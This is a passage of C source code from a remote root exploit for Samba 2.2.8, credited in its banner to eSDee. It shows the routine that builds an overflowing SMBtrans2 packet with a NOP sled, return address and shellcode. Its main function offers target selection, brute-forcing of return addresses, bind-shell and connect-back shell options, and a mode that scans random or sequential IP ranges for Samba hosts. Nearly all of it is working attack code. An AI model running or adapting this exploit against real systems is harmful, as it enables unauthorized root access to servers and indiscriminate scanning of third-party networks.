  686.         smbheader->protocol[3]          = 'B';
  687.         smbheader->command              = 0x32;         /* SMBtrans2 */
  688.         smbheader->tid                  = 0x01;
  689.         smbheader->uid                  = 100;
  690.         memset(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER) + sizeof(ex
  691. ploit_data), 0x90, 3000);
  692.         for (i = 0; i < 4 * 24; i += 4)
  693.                 memcpy(buffer + 1131 + i, &dummy, 4);
  694.         memcpy(buffer + 1127, &ret,      4);
  695.         memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER),
  696.                         exploit_data, sizeof(exploit_data) - 1);
  697.         memcpy(buffer + 1100 - strlen(shellcode), shellcode, strlen(shellcode))
  698. ;
  699.         if(write_timer(sock, 3) == 1) {
  700.                 if (send(sock, buffer, sizeof(buffer) - 1, 0) < 0) return -1;
  701.                 return 0;
  702.         }
  703.         return -1;
  704. }
  705. int
  706. main (int argc,char *argv[])
  707. {
  708.         char *shellcode = NULL;
  709.         char scan_ip[256];
  710.         int brute       = -1;
  711.         int connectback = 0;
  712.         int force       = 0;
  713.         int i           = 0;
  714.         int ip1         = 0;
  715.         int ip2         = 0;
  716.         int ip3         = 0;
  717.         int ip4         = 0;
  718.         int opt         = 0;
  719.         int port        = 139;
  720.         int random      = 0;
  721.         int scan        = 0;
  722.         int sock        = 0;
  723.         int sock2       = 0;
  724.         int status      = 0;
  725.         int type        = 0;
  726.         int verbose     = 0;
  727.         unsigned long BRUTE_DELAY       = 100000;
  728.         unsigned long ret               = 0x0;
  729.         unsigned long MAX_CHILDS        = 40;
  730.         unsigned long STEPS             = 300;
  731.         struct hostent          *he;
  732.         fprintf(stdout, "samba-2.2.8 < remote root exploit by eSDee (www.netric
  733. .org|be)\n"
  734.                         "------------------------------------------------------
  735. --------\n");
  736.         
  737.         while((opt = getopt(argc,argv,"b:B:c:C:d:fp:r:sS:t:v")) !=EOF) {
  738.                 switch(opt) 
  739.                 {
  740.                         case 'b':
  741.                                 brute = atoi(optarg);
  742.                                 if ((brute < 0) || (brute > 3)) {
  743.                                         fprintf(stderr, "Invalid platform.\n\n"
  744. );
  745.                                         return -1;
  746.                                 }
  747.                                 break;
  748.                         case 'B':
  749.                                 STEPS = atoi(optarg);
  750.                                 if (STEPS == 0) STEPS++;
  751.                                 break;
  752.                         case 'c':
  753.                                 sscanf(optarg, "%d.%d.%d.%d", &ip1, &ip2, &ip3,
  754.  &ip4);
  755.                                 connectback = 1;
  756.                                 if (ip1 == 0 || ip2 == 0 || ip3 == 0 || ip4 == 
  757. 0) {
  758.                                         fprintf(stderr, "Invalid IP address.\n\
  759. n");
  760.                                         return -1;
  761.                                 }
  762.                                 linux_connect_back[33] = ip1; bsd_connect_back[
  763. 24] = ip1;
  764.                                 linux_connect_back[34] = ip2; bsd_connect_back[
  765. 25] = ip2;
  766.                                 linux_connect_back[35] = ip3; bsd_connect_back[
  767. 26] = ip3;
  768.                                 linux_connect_back[36] = ip4; bsd_connect_back[
  769. 27] = ip4;
  770.                                 break;
  771.                         case 'C':
  772.                                 MAX_CHILDS = atoi(optarg);
  773.                                 if (MAX_CHILDS == 0) {
  774.                                         fprintf(stderr, "Invalid number of chil
  775. ds.\n");
  776.                                         return -1;
  777.                                 }
  778.                                 if (MAX_CHILDS > 99) {
  779.                                         fprintf(stderr, "Too many childs, using
  780.  99. \n");
  781.                                         MAX_CHILDS = 99;
  782.                                 }
  783.                                 break;
  784.                         case 'd':
  785.                                 BRUTE_DELAY = atoi(optarg);
  786.                                 break;
  787.                         case 'f':
  788.                                 force = 1;
  789.                                 break;
  790.                         case 'p':
  791.                                 port = atoi(optarg);
  792.                                 if ((port <= 0) || (port > 65535)) {
  793.                                         fprintf(stderr, "Invalid port.\n\n");
  794.                                         return -1;
  795.                                 }
  796.                                 break;
  797.                         case 'r':
  798.                                 ret = strtoul(optarg, &optarg, 16);
  799.                                 break;
  800.                         case 's':
  801.                                 random  = 1;
  802.                                 scan    = 1;
  803.                                 break;
  804.                         case 'S':
  805.                                 random  = 0;
  806.                                 scan    = 1;
  807.                                 sscanf(optarg, "%d.%d.%d", &ip1, &ip2, &ip3);
  808.                                 ip3--;
  809.                                 break;
  810.                         case 't':
  811.                                 type = atoi(optarg);
  812.                                 if (type == 0 || type > sizeof(targets) / 16) {
  813.                                         for(i = 0; i < sizeof(targets) / 16; i+
  814. +)
  815.                                                 fprintf(stdout, "%02d. %s      
  816.      [0x%08x]\n", i + 1,
  817.                                                                 targets[i].type
  818. , (unsigned int) targets[i].ret);
  819.                                         fprintf(stderr, "\n");
  820.                                         return -1;
  821.                                 }
  822.                                 break;
  823.                         case 'v':
  824.                                 verbose = 1;
  825.                                 break;
  826.                         default:
  827.                                 usage(argv[0] == NULL ? "sambal" : argv[0]);
  828.                                 break;
  829.                 }
  830.         }
  831.         if ((argv[optind] == NULL && scan == 0) || (type == 0 && brute == -1 &&
  832.  scan == 0)) 
  833.                 usage(argv[0] == NULL ? "sambal" : argv[0]);
  834.         if (scan == 1) 
  835.                 fprintf(stdout, "+ Scan mode.\n");
  836.         if (verbose == 1)
  837.                 fprintf(stdout, "+ Verbose mode.\n");
  838.         if (scan == 1) {
  839.                 srand(getpid());
  840.                 while (1) {
  841.                         if (random == 1) {
  842.                                 ip1 = rand() % 255;
  843.                                 ip2 = rand() % 255;
  844.                                 ip3 = rand() % 255; } 
  845.                         else {
  846.                                 ip3++;
  847.                                 if (ip3 > 254) { ip3 = 1; ip2++; }
  848.                                 if (ip2 > 254) { ip2 = 1; ip1++; }
  849.                                 if (ip1 > 254) exit(0);
  850.                         }
  851.                         for (ip4 = 0; ip4 < 255; ip4++) {
  852.                                 i++;
  853.                                 snprintf(scan_ip, sizeof(scan_ip) - 1, "%u.%u.%
  854. u.%u", ip1, ip2, ip3, ip4);
  855.                                 usleep(BRUTE_DELAY);
  856.                                 switch (fork()) {
  857.                                         case 0:
  858.                                                 switch(is_samba(scan_ip, 2)) {
  859.                                                         case 0:
  860.                                                                 fprintf(stdout,
  861.  "+ [%s] Samba\n", scan_ip);
  862.                                                                 break;
  863.                                                         case 1:
  864.                                                                 fprintf(stdout,
  865.  "+ [%s] Windows\n", scan_ip);
  866.                                                                 break;
  867.                                                         default:
  868.                                                                 break;  
  869.                                                 }
  870.                                                 exit(0);
  871.                                                 break;
  872.                                         case -1:
  873.                                                 fprintf(stderr, "+ fork() error
  874. \n");
  875.                                                 exit(-1);
  876.                                                 break;
  877.                                         default:
  878.                                                 if (i > MAX_CHILDS - 2) { 
  879.                                                         wait(&status); 
  880.                                                         i--;
  881.                                                 }
  882.                                                 break;
  883.                                 }
  884.                         }
  885.                 }
  886.                 return 0;
  887.         }
  888.         he = gethostbyname(argv[optind]);
  889.         if (he == NULL) {
  890.                 fprintf(stderr, "Unable to resolve %s...\n", argv[optind]);
  891.                 return -1;
  892.         }
  893.         if (brute == -1) {
  894.                 if (ret == 0) ret = targets[type - 1].ret;
  895.                 shellcode = targets[type - 1].shellcode;
  896.                 if (connectback == 1) {
  897.                         fprintf(stdout, "+ connecting back to: [%d.%d.%d.%d:452
  898. 95]\n", 
  899.                                         ip1, ip2, ip3, ip4);
  900.                         switch(targets[type - 1].os_type) {
  901.                                 case 0: /* linux */
  902.                                         shellcode = linux_connect_back;
  903.                                         break;
  904.                                 case 1: /* FreeBSD/NetBSD */
  905.                                         shellcode = bsd_connect_back;
  906.                                         break;
  907.                                 case 2: /* OpenBSD */
  908.                                         shellcode = bsd_connect_back;
  909.                                         break;
  910.                                 case 3: /* OpenBSD 3.2 Non-exec stack */
  911.                                         shellcode = bsd_connect_back;
  912.                                         break;
  913.                         }
  914.                 }
  915.                 if ((sock = socket(AF_INET, SOCK_STREAM, 6)) < 0) {
  916.                         fprintf(stderr, "+ socket() error.\n");
  917.                         return -1;
  918.                 }
  919.                 if ((sock2 = socket(AF_INET, SOCK_STREAM, 6)) < 0) {
  920.                         fprintf(stderr, "+ socket() error.\n");
  921.                         return -1;
  922.                 }
  923.                 memcpy(&addr1.sin_addr, he->h_addr, he->h_length);
  924.                 memcpy(&addr2.sin_addr, he->h_addr, he->h_length);
  925.                 addr1.sin_family = AF_INET;
  926.                 addr1.sin_port   = htons(port); 
  927.                 addr2.sin_family = AF_INET;
  928.                 addr2.sin_port   = htons(45295);
  929.                 if (connect(sock, (struct sockaddr *)&addr1, sizeof(addr1)) == 
  930. -1) { 
  931.                         fprintf(stderr, "+ connect() error.\n");
  932.                         return -1;
  933.                 }
  934.                 if (verbose == 1) fprintf(stdout, "+ %s\n", targets[type - 1].t
  935. ype);
  936.                 if (force == 0) {
  937.                         if (is_samba(argv[optind], 2) != 0) {
  938.                                 fprintf(stderr, "+ Host is not running samba!\n
  939. \n");
  940.                                 return -1;
  941.                         }
  942.                         fprintf(stderr, "+ Host is running samba.\n");
  943.                 }
  944.                 if (verbose == 1) fprintf(stdout, "+ Connected to [%s:%d]\n", (
  945. char *)inet_ntoa(addr1.sin_addr), port);
  946.                 if (start_session(sock) < 0) fprintf(stderr, "+ Session failed.
  947. \n");
  948.                 if (verbose == 1) fprintf(stdout, "+ Session enstablished\n");
  949.                 sleep(5);
  950.                 if (targets[type - 1].os_type != 2) {
  951.                         if (exploit_normal(sock, ret, shellcode) < 0) {
  952.                                 fprintf(stderr, "+ Failed.\n");
  953.                                 close(sock);
  954.                         }
  955.                 } else {
  956.                         if (exploit_openbsd32(sock, ret, shellcode) < 0) {
  957.                                 fprintf(stderr, "+ Failed.\n");
  958.                                 close(sock);
  959.                         }
  960.                 }
  961.                 sleep(2);
  962.                 if (connectback == 0) {
  963.                         if(connect(sock2, (struct sockaddr *)&addr2, sizeof(add
  964. r2)) == -1) {
  965.                                 fprintf(stderr, "+ Exploit failed, try -b to br
  966. uteforce.\n");
  967.                                 return -1;
  968.                         }
  969.                         fprintf(stdout, "--------------------------------------
  970. ------------------------\n");
  971.                         shell(sock2);
  972.                         close(sock);
  973.                         close(sock2);
  974.                 } else {
  975.                         fprintf(stdout, "+ Done...\n");
  976.                         close(sock2);
  977.                         close(sock);
  978.                 }
  979.                 return 0;
  980.         }
  981.         signal(SIGPIPE, SIG_IGN);
  982.         signal(SIGUSR1, handler);
  983.         switch(brute) {
  984.                 case 0:
  985.                         if (ret == 0) ret = 0xc0000000;
  986.                         shellcode = linux_bindcode;
  987.                         fprintf(stdout, "+ Bruteforce mode. (Linux)\n");
  988.                         break;
  989.                 case 1:
  990.                         if (ret == 0) ret = 0xbfc00000;
  991.                         shellcode = bsd_bindcode;
  992.                         fprintf(stdout, "+ Bruteforce mode. (FreeBSD / NetBSD)\
  993. n");
  994.                         break;
  995.                 case 2:
  996.                         if (ret == 0) ret = 0xdfc00000;
  997.                         shellcode = bsd_bindcode;
  998.                         fprintf(stdout, "+ Bruteforce mode. (OpenBSD 3.1 and pr
  999. ior)\n");
  1000.                         break;
  1001.                 case 3:
  1002.                         if (ret == 0) ret = 0x00170000;
  1003.                         shellcode = bsd_bindcode;
  1004.                         fprintf(stdout, "+ Bruteforce mode. (OpenBSD 3.2 - non-
  1005. exec stack)\n");
  1006.                         break;
  1007.                 }
  1008.         memcpy(&addr1.sin_addr, he->h_addr, he->h_length);
  1009.         memcpy(&addr2.sin_addr, he->h_addr, he->h_length);
  1010.         addr1.sin_family = AF_INET;
  1011.         addr1.sin_port   = htons(port);
  1012.         addr2.sin_family = AF_INET;
  1013.         addr2.sin_port   = htons(45295);
  1014.         for (i = 0; i < 100; i++)
  1015.                 childs[i] = -1;
  1016.         i = 0;
  1017.         if (force == 0) {
  1018.                 if (is_samba(argv[optind], 2) != 0) {
  1019.                         fprintf(stderr, "+ Host is not running samba!\n\n");
  1020.                         return -1;
  1021.                 }
  1022.                 fprintf(stderr, "+ Host is running samba.\n");
  1023.         }
  1024.         while (OWNED == 0) {
  1025.                 if (sock  > 2) close(sock);
  1026.                 if (sock2 > 2) close(sock2);
  1027.                 if ((sock = socket(AF_INET, SOCK_STREAM, 6)) < 0) {
  1028.                         if (verbose == 1) fprintf(stderr, "+ socket() error.\n"
  1029. );
  1030.                 }
  1031.                 else {  
  1032.                         ret -= STEPS;
  1033.                         i++;
  1034.                 }
  1035.                 if ((sock2 = socket(AF_INET, SOCK_STREAM, 6)) < 0)
  1036.                         if (verbose == 1) fprintf(stderr, "+ socket() error.\n"
  1037. );
  1038.                 if ((ret & 0xff) == 0x00 && brute != 3) ret++;
  1039.                 if (verbose == 1) fprintf(stdout, "+ Using ret: [0x%08x]\n", (u
  1040. nsigned int)ret);
  1041.                 usleep(BRUTE_DELAY);
  1042.                 switch (childs[i] = fork()) {
  1043.                         case 0:
  1044.                                 if(Connect(sock, (char *)inet_ntoa(addr1.sin_ad
  1045. dr), port, 2) == -1) {
  1046.                                         if (sock  > 2) close(sock);
  1047.                                         if (sock2 > 2) close(sock2);
  1048.                                         exit(-1);
  1049.                                 }
  1050.                                 if(write_timer(sock, 3) == 1) {
  1051.                                         if (start_session(sock) < 0) {
  1052.                                                 if (verbose == 1) fprintf(stder
  1053. r, "+ Session failed.\n");
  1054.                                                 if (sock  > 2)close(sock);
  1055.                                                 if (sock2 > 2) close(sock2);
  1056.                                                 exit(-1);
  1057.                                         }
  1058.                                         if (brute == 3) {
  1059.                                                 if (exploit_openbsd32(sock, ret
  1060. , shellcode) < 0) {
  1061.                                                         if (verbose == 1) fprin
  1062. tf(stderr, "+ Failed.\n");
  1063.                                                         if (sock  > 2) close(so
  1064. ck);
  1065.                                                         if (sock2 > 2) close(so
  1066. ck2);
  1067.                                                         exit(-1);
  1068.                                                 }
  1069.                                         } 
  1070.                                 else {
  1071.                                         if (exploit_normal(sock, ret, shellcode
  1072. ) < 0) {
  1073.                                                 if (verbose == 1) fprintf(stder
  1074. r, "+ Failed.\n");
  1075.                                                 if (sock  > 2) close(sock);
  1076.                                                 if (sock2 > 2) close(sock2);
  1077.                                                 exit(-1);
  1078.                                         }
  1079.                                         if (sock > 2) close(sock);
  1080.                                         if ((sock2 = socket(AF_INET, SOCK_STREA
  1081. M, 6)) < 0) {
  1082.                                                 if (sock2 > 2) close(sock2);
  1083.                                                 exit(-1);
  1084.                                         }
  1085.                                         if(Connect(sock2, (char *)inet_ntoa(add
  1086. r1.sin_addr), 45295, 2) != -1) {
  1087.                                                 if (sock2  > 2) close(sock2);
  1088.                                                 kill(getppid(), SIGUSR1);
  1089.                                         }
  1090.                                         exit(1);
  1091.                                 }
  1092.                                 exit(0);
  1093.                                 break;
  1094.                         case -1:
  1095.                                 fprintf(stderr, "+ fork() error\n");
  1096.                                 exit(-1);
  1097.                                 break;
  1098.                         default:
  1099.                                 if (i > MAX_CHILDS - 2) {
  1100.                                         wait(&status);
  1101.                                         i--;
  1102.                                 }
  1103.                                 break;
  1104.                         }
  1105.                 }
  1106.         }
  1107.         return 0;
  1108. }
  1109. /* EOF */
  1110.